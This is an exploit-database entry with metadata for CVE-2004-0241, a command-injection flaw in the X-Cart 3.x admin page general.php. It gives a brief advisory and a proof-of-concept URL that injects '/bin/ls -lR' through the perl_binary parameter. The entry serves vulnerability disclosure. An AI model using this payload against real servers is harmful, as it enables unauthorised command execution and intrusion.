Qualiteam X-Cart 3.x - 'general.php?perl_binary' Arbitrary Command Execution

Author: Philip
type: webapps
platform: php
port: 0
date_added: 2004-02-03
date_updated: 2012-12-24
verified: 1
codes: CVE-2004-0241;OSVDB-3808
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/9560/info

X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI.

http://server/admin/general.php?mode=perlinfo&config[General][perl_binary]=/bin/ls -lR ||